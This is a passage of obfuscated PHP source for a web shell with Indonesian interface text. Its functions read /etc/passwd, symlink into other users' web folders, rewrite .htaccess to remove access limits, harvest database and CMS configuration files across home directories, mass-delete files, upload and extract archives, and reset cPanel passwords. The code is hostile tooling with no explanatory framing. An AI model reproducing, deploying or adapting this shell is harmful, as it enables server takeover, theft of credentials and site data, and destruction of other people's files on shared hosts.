IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { $IIIIIIIlIl1l = "\x65\x72\162\157\x72"; $IIIIIIIlIl11 = "\x42\x65\162\x68\x61\163\x69\x6c\x20\115\145\156\x67\x68\141\160\165\163"; $dir = dirname($dir); IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } } } die; } goto n8lqi; jDew3: if ($_GET["\141\x6b\x73\151"] == "\x61\165\x74\x65\144\165\163\145\162") { IIIIIIlIlllI($dir, $file); } goto Y0Kw9; JNqQW: if ($_GET["\x61\153\x73\x69"] == "\150\x61\x70\x75\163\x66") { IIIIIIIl1IIl($dir, $file, $IIIIIIIlllIl); } goto Ian4A; A1xmA: if ($_GET["\x61\153\163\x69"] == "\145\144\151\x74") { IIIIIIIll1lI($dir, $file, $IIIIIIIlllIl, $IIIIIIII1l1l); } goto bYCUl; ad1Lh: function IIIIIIlIIIII($dir, $file) { $IIIIIII1l1ll = str_replace($_SERVER["\x44\x4f\103\x55\115\x45\x4e\x54\137\122\x4f\117\x54"], '', $dir); $IIIIIIlIIIIl = "\x66\164\160\x3a\x2f\57" . $_SERVER["\x53\105\x52\x56\105\122\137\116\101\115\105"] . "\57\160\165\x62\x6c\151\143\137\150\x74\x6d\154\x2f" . $_SERVER["\x52\105\x51\125\105\x53\124\x5f\125\122\111"]; $u = explode("\x2f", $IIIIIIlIIIIl); $IIIIIIlIIIIl = str_replace($u[count($u) - 1], '', $IIIIIIlIIIIl); if (isset($_GET["\x73\x61\x76\x65"]) and isset($_POST["\146\151\154\145"]) or @filesize("\x70\141\163\x73\x77\x64\56\x74\170\164") > 0) { $IIIIIII111Il = stripcslashes($_POST["\x66\151\154\145"]); if (!file_exists("\160\141\x73\163\167\144\56\164\170\x74")) { $IIIIIII1IlII = @fopen("\160\x61\x73\163\167\x64\x2e\164\x78\164", "\x77"); $w = @fwrite($IIIIIII1IlII, $IIIIIII111Il); fclose($IIIIIII1IlII); } if ($w or @filesize("\160\141\x73\x73\167\144\56\164\170\164") > 0) { echo "\74\x64\151\x76\40\143\154\x61\x73\x73\x3d\47\164\155\160\x27\76\12\x3c\164\141\142\x6c\145\40\x77\151\x64\x74\x68\x3d\47\x31\60\x30\45\47\x20\143\x6c\141\163\163\75\x27\x74\145\x78\x74\55\143\x65\x6e\x74\145\x72\40\x74\x61\x62\154\x65\x2d\x72\x65\x73\x70\157\x6e\x73\x69\166\x65\40\x6d\x62\55\64\47\x3e\xa\74\x74\150\145\x61\144\40\143\x6c\x61\x73\x73\75\47\142\147\55\x69\156\146\157\47\76\12\x3c\164\150\76\125\x73\145\x72\163\x3c\x2f\x74\150\76\12\74\164\x68\76\x73\x79\x6d\154\x69\156\x6b\74\x2f\164\150\x3e\12\74\164\x68\x3e\x46\x54\x50\74\x2f\164\150\76\12\x3c\57\x74\150\145\x61\x64\x3e"; flush(); $IIIIIIlIIIlI = file("\x70\141\163\x73\167\x64\x2e\x74\170\x74"); foreach ($IIIIIIlIIIlI as $IIIIIII1IlII) { $u = explode("\x3a", $IIIIIII1IlII); $user = $u["\60"]; echo "\x3c\164\162\x3e\12\x3c\x74\144\40\x63\154\141\x73\163\75\47\x74\145\x78\164\55\154\145\146\x74\40\x70\154\55\61\x27\x3e{$user}\74\x2f\x74\144\76\xa\x3c\164\x64\x3e\x3c\x61\40\150\162\145\146\x3d\47{$IIIIIII1l1ll}\57\163\x79\x6d\x2f\x72\x6f\x6f\164\57\x68\x6f\155\x65\57{$user}\57\160\165\142\154\x69\143\x5f\150\x74\x6d\154\47\40\x74\x61\162\x67\x65\x74\75\47\137\x62\x6c\x61\156\x6b\x27\76\x53\x79\x6d\154\x69\x6e\153\x20\74\57\x61\x3e\74\57\x74\144\76\xa\74\x74\144\76\74\141\40\x68\x72\145\x66\x3d\47{$IIIIIIlIIIIl}\57\x73\171\155\57\162\x6f\157\x74\x2f\150\157\x6d\145\x2f{$user}\57\160\165\142\154\x69\143\x5f\x68\x74\155\x6c\47\40\x74\141\162\147\145\x74\x3d\47\137\x62\154\141\x6e\x6b\47\x3e\x46\124\120\x3c\57\141\76\74\x2f\x74\x64\76\12\74\57\164\x72\76"; flush(); flush(); } echo "\74\x2f\164\x72\x3e\x3c\x2f\164\x61\x62\x6c\145\x3e\x3c\x2f\144\151\166\x3e"; die; } } echo "\x72\145\x61\144\x20\57\x65\164\143\x2f\x70\x61\x73\163\x77\144\40\74\146\x6f\156\164\x20\x63\x6f\154\x6f\x72\75\47\162\145\144\47\x3e\x65\x72\162\x6f\162\x20\77\x20\40\74\x2f\146\157\x6e\164\76\74\x61\40\x68\162\x65\146\x3d\47\x3f\144\151\162\x3d" . $dir . "\46\141\153\163\x69\x3d\x70\141\163\163\167\142\x79\160\141\163\163\47\x3e\x42\x79\160\141\163\163\40\110\145\162\x65\74\x2f\x61\x3e\12\74\x66\157\x72\x6d\x20\x6d\x65\164\x68\x6f\144\x3d\x27\x70\x6f\163\x74\47\40\141\x63\x74\151\157\x6e\75\x27\x3f\144\151\x72\75{$dir}\x26\x61\153\163\151\75\x73\x79\x6d\x5f\x62\x79\160\x61\163\46\163\x61\166\x65\75\x31\x27\76\xa\x3c\x74\x65\x78\164\x61\162\x65\141\40\x63\x6c\141\x73\x73\75\x27\146\x6f\162\155\x2d\x63\157\x6e\x74\162\157\154\47\40\x72\x6f\167\163\75\47\x31\x33\47\40\x6e\x61\155\145\75\47\146\151\154\145\x27\x3e"; flush(); $file = "\x2f\145\x74\143\57\160\141\163\x73\x77\144"; $IIIIIII11llI = @fopen($file, "\x72"); if ($IIIIIII11llI) { $IIIIIII11lll = @fread($IIIIIII11llI, @filesize($file)); echo '' . htmlentities($IIIIIII11lll) . ''; } elseif (!$IIIIIII11llI) { $IIIIIII11llI = @show_source($file); } elseif (!$IIIIIII11llI) { $IIIIIII11llI = @highlight_file($file); } elseif (!$IIIIIII11llI) { for ($IIIIIII1ll1l = 0; $IIIIIII1ll1l < 1000; $IIIIIII1ll1l++) { $IIIIIII1ll11 = posix_getpwuid($IIIIIII1ll1l); if (!empty($IIIIIII1ll11)) { while (list($IIIIIII1l1II, $IIIIIII1l1Il) = each($IIIIIII1ll11)) { print "{$IIIIIII1l1Il}\x3a"; } print "\xa"; } } } flush(); echo "\x3c\57\x74\x65\170\164\x61\162\145\141\76\74\x62\162\x2f\x3e\xa\x3c\151\156\160\x75\x74\x20\x74\x79\160\145\75\47\x73\x75\x62\155\x69\164\47\x20\143\x6c\141\163\163\75\x27\142\164\x6e\x20\142\x74\x6e\x2d\x64\x61\x6e\x67\x65\x72\40\142\164\x6e\x2d\x62\154\157\x63\x6b\x27\40\166\x61\154\165\145\x3d\47\x53\171\155\x6c\151\156\153\47\57\x3e\12\x3c\x2f\146\x6f\x72\x6d\x3e"; flush(); die; } goto VHEhv; J7ej1: ini_set("\x65\x72\162\x6f\x72\x5f\154\157\x67", null); goto t7X4R; VOkoG: function IIIIIII1IIII($dir, $file, $IIIIIIII1l1I, $IIIIIIII1l1l) { function IIIIIII1IIIl($dir, $IIIIIIIl11Il) { if (is_writable($dir)) { $IIIIIIIl11lI = scandir($dir); foreach ($IIIIIIIl11lI as $IIIIIIIl11ll) { $IIIIIIIl11l1 = "{$dir}\x2f{$IIIIIIIl11ll}"; $IIIIIIIl111I = $IIIIIIIl11l1 . "\57" . $IIIIIIIl11Il; if ($IIIIIIIl11ll === "\56") { if (file_exists("{$dir}\57{$IIIIIIIl11Il}")) { unlink("{$dir}\57{$IIIIIIIl11Il}"); } } elseif ($IIIIIIIl11ll === "\56\56") { if (file_exists('' . dirname($dir) . "\57{$IIIIIIIl11Il}")) { unlink('' . dirname($dir) . "\x2f{$IIIIIIIl11Il}"); } } else { if (is_dir($IIIIIIIl11l1)) { if (is_writable($IIIIIIIl11l1)) { if ($IIIIIIIl111I) { echo "{$IIIIIIIl111I}\40\76\x20\124\x65\162\x68\x61\x70\165\x73\12"; unlink($IIIIIIIl111I); $IIIIIII1III1 = IIIIIII1IIIl($IIIIIIIl11l1, $IIIIIIIl11Il); } } } } } } } if ($_POST["\163\164\141\x72\164"]) { echo "\x5b\40\74\x61\x20\x68\162\x65\x66\75\47\x3f\x64\x69\x72\x3d{$dir}\47\x3e\113\x65\155\142\141\x6c\x69\74\x2f\141\76\40\135\xa\x3c\x74\x65\x78\x74\x61\x72\x65\x61\x20\x63\x6c\x61\163\x73\75\x27\146\x6f\162\x6d\55\143\157\156\x74\x72\157\x6c\x27\40\162\x6f\x77\163\x3d\x27\x31\x33\x27\x20\x64\x69\163\x61\x62\154\145\x64\x3d\x27\47\x3e"; IIIIIII1IIIl($_POST["\144\137\x64\x69\162"], $_POST["\144\137\146\x69\154\x65"]); echo "\x3c\x2f\x74\x65\x78\x74\141\x72\x65\x61\76\74\x62\162\57\x3e"; } else { echo "\74\x66\157\x72\x6d\x20\155\145\164\x68\x6f\x64\75\x27\160\x6f\163\164\x27\x3e\xa\74\150\x35\x3e{$IIIIIIII1l1I}\40\x4c\157\x6b\x61\163\151\40\x3a\x3c\x2f\x68\65\x3e\xa\74\x69\156\160\165\164\40\x74\171\x70\145\75\47\x74\x65\170\x74\47\40\156\x61\155\x65\75\47\144\x5f\x64\151\162\47\40\x76\141\154\x75\x65\x3d\47{$dir}\47\40\143\x6c\141\163\x73\75\47\x66\157\x72\x6d\x2d\143\x6f\x6e\164\x72\157\x6c\47\76\74\142\162\x2f\x3e\xa\74\x68\x35\x3e{$IIIIIIII1l1l}\40\116\141\155\141\40\106\x69\154\145\x20\72\x3c\x2f\150\x35\76\xa\74\151\156\x70\165\x74\40\164\171\160\145\75\47\x74\x65\170\x74\47\40\156\x61\x6d\145\x3d\47\x64\137\146\x69\154\145\47\40\160\x6c\141\143\x65\x68\157\154\x64\145\162\75\x27\x5b\105\x78\135\x20\x69\156\144\x65\170\56\160\150\x70\x27\x20\x63\154\x61\x73\x73\x3d\47\x66\157\162\155\55\x63\157\156\x74\x72\157\154\x27\x3e\x3c\x62\162\x2f\x3e\xa\74\x69\156\160\165\164\40\x74\x79\160\145\75\47\163\x75\x62\155\151\x74\x27\40\156\141\155\x65\x3d\x27\x73\164\141\x72\164\x27\x20\x76\x61\154\165\145\75\47\104\145\x6c\145\x74\x65\x21\x21\x27\x20\143\154\x61\x73\163\75\47\x62\x74\156\x20\142\164\156\55\144\141\156\x67\145\x72\x20\x66\x6f\162\155\55\x63\157\x6e\x74\162\157\154\47\x3e\xa\74\57\146\157\x72\x6d\76"; } die; } goto mi15o; wcB7c: $asciifnc1 = true; goto AcD5H; e0H04: function generateRandomString($length = 10) { $characters = "\x30\x31\x32\x33\x34\x35\x36\67\x38\71\x61\x62\143\144\145\146\147\150\x69\152\x6b\154\x6d\156\157\160\x71\x72\163\164\x75\166\167\x78\x79\172\x41\102\x43\104\105\x46\107\110\x49\112\113\x4c\x4d\x4e\117\120\x51\122\123\124\x55\126\x57\130\131\x5a"; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } goto M0Ns2; BxeQ4: function IIIIIIllI1lI($dir, $file) { $IIIIIIllI1ll = basename($dir) . "\x2e\172\x69\160"; function Zip($IIIIIIllI11I, $IIIIIIllI11l) { if (extension_loaded("\x7a\151\160") === true) { if (file_exists($IIIIIIllI11I) === true) { $zip = new ZipArchive(); if ($zip->open($IIIIIIllI11l, ZIPARCHIVE::CREATE) === true) { $IIIIIIllI11I = realpath($IIIIIIllI11I); if (is_dir($IIIIIIllI11I) === true) { $IIIIIIlI111I = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($IIIIIIllI11I), RecursiveIteratorIterator::SELF_FIRST); foreach ($IIIIIIlI111I as $file) { $file = realpath($file); if (is_dir($file) === true) { } elseif (is_file($file) === true) { $zip->addFromString(str_replace($IIIIIIllI11I . "\x2f", '', $file), file_get_contents($file)); } } } elseif (is_file($IIIIIIllI11I) === true) { $zip->addFromString(basename($IIIIIIllI11I), file_get_contents($IIIIIIllI11I)); } } return @$zip->close(); } } return false; } function IIIIIIlllIIl($IIIIIIlllII1, $IIIIIIlllIlI) { $zip = new ZipArchive(); $IIIIIIlllIll = $zip->open($IIIIIIlllII1); if ($IIIIIIlllIll === TRUE) { $name = basename($IIIIIIlllII1, "\x2e\x7a\x69\x70") . "\x5f\165\x6e\x7a\151\160"; @mkdir($name); @$zip->extractTo($IIIIIIlllIlI . "\57" . $name); return @$zip->close(); } else { return false; } } echo "\74\x64\151\166\40\143\154\x61\x73\163\75\x22\x63\x61\162\x64\x20\143\x61\x72\144\55\142\157\x64\171\x20\164\145\x78\164\55\144\x61\x72\x6b\x20\155\x62\x2d\64\x22\76\12\74\150\x34\x20\x63\154\x61\163\x73\75\42\x74\x65\x78\164\55\x63\145\x6e\164\145\x72\42\76\x5a\151\x70\40\x4d\145\156\x75\74\57\x68\63\x3e\12\x3c\x66\157\162\x6d\40\145\156\143\164\171\160\145\x3d\42\155\165\154\x74\151\160\141\162\164\x2f\x66\157\x72\155\55\144\x61\x74\141\42\40\155\145\x74\x68\157\144\75\x22\x70\157\163\164\42\x3e\12\x3c\x64\151\166\x20\x63\x6c\x61\x73\163\x3d\42\146\x6f\162\155\55\x67\162\157\165\160\x22\76\xa\74\x6c\x61\x62\x65\154\x3e\132\151\160\40\x46\151\x6c\145\72\74\57\x6c\141\142\145\x6c\x3e\12\74\144\x69\x76\40\x63\x6c\x61\163\x73\x3d\42\x63\165\163\164\x6f\x6d\x2d\x66\151\154\145\x22\76\12\74\x69\x6e\x70\x75\x74\40\x74\171\x70\x65\75\x22\146\x69\154\x65\x22\x20\x6e\141\155\x65\x3d\x22\172\x69\x70\x5f\x66\151\x6c\145\42\40\143\154\141\x73\x73\x3d\42\x63\165\163\x74\x6f\x6d\x2d\x66\x69\x6c\x65\x2d\x69\156\160\165\x74\x22\x20\x69\144\x3d\42\143\165\x73\x74\x6f\x6d\x46\151\x6c\145\42\76\12\x3c\x6c\x61\142\145\x6c\40\143\x6c\x61\x73\163\x3d\x22\143\x75\x73\x74\x6f\155\55\146\x69\x6c\x65\55\x6c\x61\142\145\x6c\x22\x20\146\x6f\x72\x3d\42\143\x75\163\164\157\155\106\151\154\145\42\x3e\103\x68\157\157\x73\145\x20\146\151\x6c\x65\74\x2f\154\141\x62\x65\x6c\x3e\12\x3c\x2f\x64\x69\x76\x3e\12\x3c\151\x6e\160\x75\164\40\x74\x79\x70\145\x3d\x22\x73\165\x62\x6d\151\x74\42\40\156\x61\155\x65\75\42\x75\x70\x6e\165\x6e\x22\40\x63\x6c\141\163\x73\75\42\142\x74\156\x20\142\x74\156\55\144\x61\156\x67\x65\162\40\x62\x74\x6e\x2d\142\154\157\143\153\40\x6d\x74\x2d\63\42\x20\166\x61\154\165\x65\x3d\42\125\160\x6c\157\141\144\40\x26\40\125\x6e\172\x69\x70\x22\57\76\xa\74\57\144\151\x76\x3e\xa\74\57\x66\157\x72\x6d\76"; if ($_POST["\165\x70\156\x75\156"]) { $IIIIIIIllI1I = $_FILES["\x7a\151\x70\137\146\151\x6c\x65"]["\x6e\141\x6d\145"]; $IIIIIIlllIl1 = $_FILES["\172\151\x70\x5f\x66\x69\x6c\145"]["\164\155\x70\x5f\x6e\141\x6d\145"]; if (move_uploaded_file($IIIIIIlllIl1, "{$dir}\57{$IIIIIIIllI1I}")) { echo IIIIIIlllIIl($IIIIIIIllI1I, $dir); unlink($IIIIIIIllI1I); $IIIIIIIlIl1l = "\163\x75\x63\x63\x65\x73\163"; $IIIIIIIlIl11 = "\102\x65\162\150\x61\x73\151\154\x20\x4d\145\156\147\145\x6b\163\x74\162\x61\153\x20\x5a\x69\160"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { echo "\74\142\x3e\x47\x61\x67\x61\154\41\x3c\x2f\x62\x3e"; } } echo "\x3c\144\151\x76\40\143\x6c\141\x73\x73\75\47\x72\157\167\x27\76\74\x64\x69\166\x20\143\154\141\163\163\x3d\x27\143\157\x6c\55\x6d\144\55\66\40\x6d\142\55\63\47\x3e\74\x68\65\x3e\132\x69\160\x20\102\141\143\153\x75\x70\x3c\x2f\150\65\76\12\x3c\146\x6f\x72\x6d\x20\155\145\164\x68\x6f\144\x3d\x27\160\157\163\164\47\x3e\12\x3c\x6c\x61\142\x65\154\x3e\x46\x6f\x6c\x64\x65\x72\x3c\x2f\x6c\141\x62\145\x6c\76\12\74\151\x6e\160\x75\164\x20\164\x79\160\145\75\x27\164\x65\x78\x74\47\40\156\x61\155\145\75\x27\146\157\x6c\x64\x65\162\x27\x20\143\154\x61\x73\163\75\47\146\157\x72\x6d\55\x63\x6f\156\164\162\x6f\154\40\155\142\55\63\47\40\166\x61\154\165\x65\x3d\x27{$dir}\x27\76\12\x3c\x69\x6e\x70\165\x74\40\164\x79\160\x65\75\x27\x73\165\x62\x6d\151\x74\47\40\156\141\155\145\x3d\x27\x62\x61\143\x6b\165\x70\x27\x20\x63\154\141\163\163\x3d\x27\142\164\x6e\40\142\x74\156\x2d\x64\x61\x6e\147\145\162\40\142\164\x6e\55\142\x6c\157\x63\153\47\x20\x76\x61\154\x75\x65\x3d\47\102\141\x63\x6b\x75\160\41\47\x3e\xa\x3c\57\146\157\x72\x6d\x3e"; if ($_POST["\142\141\x63\153\165\160"]) { $IIIIIIlllI1I = $_POST["\146\x6f\154\144\x65\x72"]; if (Zip($IIIIIIlllI1I, $_POST["\146\x6f\x6c\x64\145\x72"] . "\57" . $IIIIIIllI1ll)) { $IIIIIIIlIl1l = "\x73\165\143\x63\145\163\x73"; $IIIIIIIlIl11 = "\102\x65\162\150\141\163\x69\x6c\40\x4d\145\x6d\142\x75\x61\164\40\132\151\160"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { echo "\x3c\x62\x3e\x47\x61\147\x61\154\41\x3c\x2f\142\76"; } } echo "\x3c\57\144\x69\166\x3e\xa\x3c\x64\151\x76\x20\143\154\141\163\x73\x3d\47\143\157\154\x2d\x6d\x64\55\x36\x27\76\74\x68\65\x3e\x55\156\172\x69\x70\40\x4d\x61\156\x75\141\x6c\74\x2f\x68\65\76\xa\74\x66\x6f\162\x6d\x20\141\x63\x74\x69\157\x6e\75\47\x27\x20\155\145\x74\150\157\144\x3d\47\160\157\x73\164\47\x3e\12\x3c\x6c\x61\x62\145\x6c\76\132\x69\x70\x20\114\x6f\143\x61\164\x69\157\x6e\x3a\x3c\57\x6c\141\x62\145\x6c\x3e\12\x3c\151\x6e\160\x75\164\40\x74\x79\x70\145\x3d\47\164\x65\170\164\x27\x20\x6e\141\155\x65\x3d\47\x66\151\x6c\x65\x5f\172\x69\x70\47\x20\x63\x6c\x61\163\163\75\x27\x66\157\x72\155\x2d\143\157\x6e\x74\162\157\154\x20\155\142\55\x33\x27\x20\166\x61\x6c\x75\145\x3d\47{$dir}\x2f{$IIIIIIllI1ll}\x27\x3e\xa\74\x69\156\x70\165\164\40\164\x79\x70\145\x3d\47\x73\x75\x62\x6d\x69\164\x27\x20\156\141\x6d\145\x3d\x27\145\x78\x74\162\x61\153\x27\x20\143\154\x61\x73\163\75\47\142\164\x6e\40\x62\164\156\55\x64\141\156\x67\x65\x72\x20\142\x74\x6e\55\x62\x6c\x6f\143\153\x27\x20\166\x61\x6c\165\x65\x3d\47\125\x6e\x7a\x69\x70\x21\47\x3e\xa\74\57\146\x6f\162\x6d\x3e"; if ($_POST["\x65\170\164\162\x61\x6b"]) { $zip = $_POST["\x66\x69\x6c\x65\137\172\151\x70"]; if (IIIIIIlllIIl($zip, $dir)) { $IIIIIIIlIl1l = "\163\165\x63\x63\145\163\163"; $IIIIIIIlIl11 = "\x42\145\x72\x68\x61\163\151\x6c\40\x4d\x65\x6e\x67\x65\153\x73\x74\x72\x61\153\x20\132\x69\160"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { echo "\74\142\x3e\107\x61\147\141\x6c\41\x3c\57\x62\76"; } } echo "\74\57\x64\151\x76\x3e\x3c\x2f\144\x69\x76\76\x3c\57\144\x69\x76\x3e"; } goto omEN2; wGGcQ: if (!$IIIIIIIlIIl1) { $IIIIIIIlII1l = "\74\x66\x6f\156\164\40\x63\157\x6c\x6f\x72\x3d\162\145\144\x20\x73\151\172\x65\75\x32\x70\x78\76\x43\141\x6e\164\40\x52\145\x61\144\x20\133\x20\x2f\145\x74\143\x2f\x6e\141\155\x65\144\x2e\143\157\156\146\40\x5d\x3c\x2f\146\x6f\156\164\76"; $GLOBALS["\x6e\x65\x65\x64\x5f\x74\x6f\137\165\x70\144\x61\x74\145\x5f\150\x65\x61\144\145\x72"] = "\x74\x72\165\x65"; } else { $IIIIIIIlII11 = 0; foreach ($IIIIIIIlIIl1 as $IIIIIIIlIlII) { if (@strstr($IIIIIIIlIlII, "\x7a\x6f\156\145")) { preg_match_all("\43\172\157\x6e\145\40\x22\x28\56\x2a\x29\x22\x23", $IIIIIIIlIlII, $IIIIIIIlIllI); flush(); if (strlen(trim($IIIIIIIlIllI[1][0])) > 2) { flush(); $IIIIIIIlII11++; } } } $IIIIIIIlII1l = "{$IIIIIIIlII11}\x20\104\x6f\x6d\141\x69\x6e"; } goto NmL7d; AFmQi: if ($_GET["\x61\153\163\151"] == "\x75\x70\154\x6f\141\x64\x65\x72\x78") { uploaderx($dir); } goto sgGFS; KaezF: function IIIIIIIlI1l1($dir, $IIIIIIII1l1I) { echo "\74\144\151\166\x20\x63\x6c\x61\163\163\x3d\47\x63\141\162\x64\47\76\xa\74\144\x69\166\x20\143\x6c\141\x73\163\x3d\x27\143\141\x72\144\x2d\x62\x6f\x64\171\x20\x66\157\162\155\x2d\147\162\157\165\160\47\x3e\x3c\x66\157\x72\155\x3e\12\74\150\x35\x3e\74\x70\40\143\154\141\x73\x73\75\47\x74\145\170\164\x2d\155\x75\x74\145\144\x27\x3e\120\162\157\164\145\143\164\x20\141\40\106\x6f\x6c\144\145\162\57\106\151\154\145\40\x28\x52\x6f\157\164\40\x4f\156\154\171\51\x3c\x2f\x70\x3e\x3c\57\150\65\x3e\xa\74\150\65\76\x3c\160\x20\143\154\141\x73\163\75\47\x74\145\170\x74\55\155\165\164\x65\144\47\76{$IIIIIIII1l1I}\x20\x54\141\162\x67\x65\x74\40\104\151\x72\x65\x63\x74\157\x72\171\57\146\151\x6c\145\40\x3a\74\x2f\160\76\x3c\x2f\x68\65\76\xa\74\x69\156\x70\x75\x74\x20\164\171\x70\x65\75\47\164\145\170\x74\47\x20\x63\154\x61\163\163\75\x27\146\x6f\162\x6d\55\143\157\x6e\x74\x72\x6f\x6c\47\40\156\x61\155\x65\x3d\x27\x70\162\157\164\145\x63\x74\156\x79\141\x27\40\x61\165\164\x6f\143\x6f\x6d\160\x6c\145\x74\145\x3d\x27\157\x66\x66\47\x20\x70\154\141\143\x65\x68\x6f\154\x64\145\162\75\47\x65\170\x20\72\x20\x2f\x76\141\x72\57\167\x77\167\x2f\x68\164\155\154\x27\x3e\xa\x3c\x2f\x66\157\162\155\76\12\74\57\x64\151\x76\76\x3c\57\x64\151\166\76"; } goto G1PAx; qQr2R: function IIIIIIIl1IIl($dir, $file, $IIIIIIIlllIl) { echo "\133\40\x3c\x61\x20\150\x72\x65\146\75\x22\77\x64\151\x72\x3d" . $dir . "\x26\141\x6b\x73\151\x3d\x76\x69\x65\x77\46\146\x69\x6c\x65\x3d" . $file . "\42\x3e\114\x69\150\x61\164\x3c\57\x61\76\40\135\40\40\133\40\74\x61\x20\150\x72\145\146\75\42\x3f\x64\151\x72\x3d" . $dir . "\x26\141\153\x73\x69\x3d\x65\x64\151\164\x26\146\x69\154\145\75" . $file . "\x22\x3e\105\144\151\164\x3c\x2f\141\76\x20\135\40\40\133\x20\x3c\141\40\x68\x72\145\x66\75\42\77\x64\x69\162\75" . $dir . "\46\141\153\x73\x69\x3d\x72\145\x6e\x61\155\145\x26\x66\151\154\x65\75" . $file . "\x22\x3e\122\x65\x6e\141\155\x65\74\57\x61\x3e\x20\135\40\40\x5b\40\x3c\x61\40\143\154\141\x73\163\x3d\42\141\x63\164\151\x76\145\42\x20\150\162\145\146\x3d\x22\77\x64\151\x72\75" . $dir . "\46\x61\x6b\163\x69\75\150\141\x70\165\163\146\46\x66\151\x6c\x65\75" . $file . "\x22\x3e\x44\145\154\145\164\x65\74\57\x61\x3e\x20\x5d"; echo "\x3c\x64\151\x76\40\143\154\141\163\x73\75\x27\143\141\162\144\x20\x63\141\162\x64\x2d\142\157\144\171\40\164\145\170\x74\55\143\145\x6e\164\x65\162\40\164\145\170\x74\x2d\x64\x61\x72\x6b\40\155\142\55\x34\47\76\xa\74\160\76\131\x61\153\151\156\40\115\x61\165\40\110\x61\160\165\x73\x20{$IIIIIIIlllIl}\77\x3c\x2f\x70\76\12\x3c\146\x6f\162\x6d\x20\155\145\164\150\x6f\x64\x3d\47\120\x4f\x53\x54\x27\76\12\x3c\x69\156\160\165\x74\40\164\171\x70\145\x3d\x27\x73\x75\142\x6d\x69\164\x27\x20\156\x61\155\145\x3d\x27\x79\x61\47\x20\143\x6c\x61\163\x73\75\47\x62\164\156\x20\x62\x74\156\55\x73\165\143\x63\x65\163\163\x20\x62\164\x6e\55\x73\x75\143\143\x65\x73\x73\x20\x62\x74\156\55\x62\x6c\157\x63\153\x27\x20\x76\x61\154\165\145\75\x27\x59\141\x27\76\xa\74\141\40\x63\x6c\141\163\163\x3d\x27\x62\164\x6e\40\142\164\x6e\x2d\x64\x61\x6e\147\x65\x72\40\x62\x74\156\55\x62\154\x6f\143\153\x27\x20\x68\x72\x65\x66\x3d\x27\x3f\144\151\162\x3d{$dir}\47\x3e\124\151\144\x61\x6b\74\57\x61\x3e\12\x3c\57\146\157\x72\x6d\x3e\xa\74\x2f\x64\151\166\76"; if ($_POST["\x79\x61"]) { if (unlink($file)) { $IIIIIIIlIl1l = "\163\165\x63\x63\145\163\163"; $IIIIIIIlIl11 = "\102\145\162\150\141\163\x69\154\40\x4d\x65\156\147\x68\141\160\x75\163\x20\x46\151\154\x65"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { $IIIIIIIlIl1l = "\x65\x72\x72\x6f\162"; $IIIIIIIlIl11 = "\x47\141\x67\x61\x6c\40\115\x65\156\147\x68\x61\160\165\163\x20\106\151\x6c\145"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } } } goto DwRwj; pN2xp: if ($_GET["\141\x6b\x73\x69"] == "\x72\x65\x73\x65\x74\160\141\x73\163\143\x70") { IIIIIIlIlI1I($dir); } goto jDew3; vtYak: function prototype($k, $v) { $_COOKIE[$k] = $v; setcookie($k, $v); } goto rQZ11; UBaO0: if ($_GET["\141\153\x73\151"] == "\x67\163") { gsket($dir); } goto XDx1i; DGXlf: function IIIIIII1lII1($dir, $file) { if ($_POST) { $passwd = $_POST["\160\x61\163\x73\x77\144"]; mkdir("\x69\156\144\x6f\163\x65\x63\137\143\x6f\156\x66\x69\147", 511); $IIIIIII1lIlI = "\x4f\x70\164\x69\157\x6e\x73\40\141\154\154\156\122\x65\x71\165\x69\162\145\40\x4e\x6f\x6e\145\x6e\123\x61\x74\x69\163\146\x79\40\101\156\x79"; $IIIIIII1lIll = fopen("\x69\156\x64\157\x73\x65\143\x5f\143\157\x6e\146\x69\x67\x2f\x2e\150\164\141\x63\143\145\x73\x73", "\167"); fwrite($IIIIIII1lIll, $IIIIIII1lIlI); preg_match_all("\57\x28\x2e\52\77\x29\x3a\170\x3a\x2f", $passwd, $IIIIIII1lIl1); foreach ($IIIIIII1lIl1[1] as $IIIIIII1lI1I) { $IIIIIII1lI1l = "\57\x68\x6f\155\145\x2f{$IIIIIII1lI1I}\x2f\160\165\142\x6c\x69\143\x5f\x68\x74\155\154\x2f"; if (is_readable($IIIIIII1lI1l)) { $IIIIIII1lI11 = array("\57\150\x6f\x6d\x65\57{$IIIIIII1lI1I}\x2f\56\x6d\x79\56\143\x6e\x66" => "\143\160\x61\x6e\145\x6c", "\57\150\x6f\x6d\145\57{$IIIIIII1lI1I}\57\160\x75\142\154\151\143\137\150\164\x6d\154\x2f\143\157\x6e\x66\151\x67\57\x6b\157\x6e\x65\x6b\x73\x69\x2e\160\x68\160" => "\x4c\157\153\x6f\155\x65\x64\x69\x61", "\x2f\x68\x6f\x6d\145\x2f{$IIIIIII1lI1I}\57\x70\x75\x62\154\x69\143\x5f\x68\164\x6d\x6c\x2f\146\x6f\162\x75\x6d\x2f\143\x6f\156\146\x69\147\x2e\x70\x68\160" => "\160\150\160\102\102", "\57\x68\157\155\145\x2f{$IIIIIII1lI1I}\x2f\x70\165\142\154\x69\x63\x5f\x68\x74\x6d\x6c\x2f\x73\151\x74\x65\x73\x2f\144\x65\x66\141\165\x6c\164\57\x73\145\x74\164\x69\x6e\x67\163\x2e\160\x68\160" => "\x44\x72\x75\x70\141\154", "\x2f\x68\157\155\x65\x2f{$IIIIIII1lI1I}\57\160\x75\x62\x6c\151\x63\137\x68\x74\155\154\57\x63\x6f\156\x66\x69\147\x2f\163\x65\x74\x74\x69\156\x67\x73\56\x69\156\143\56\x70\150\x70" => "\x50\162\145\163\164\141\123\150\x6f\160", "\57\x68\x6f\155\145\x2f{$IIIIIII1lI1I}\x2f\x70\x75\x62\154\151\143\137\x68\x74\155\154\x2f\x61\x70\x70\x2f\145\164\x63\57\154\x6f\x63\141\154\x2e\x78\x6d\x6c" => "\115\x61\x67\x65\x6e\164\x6f", 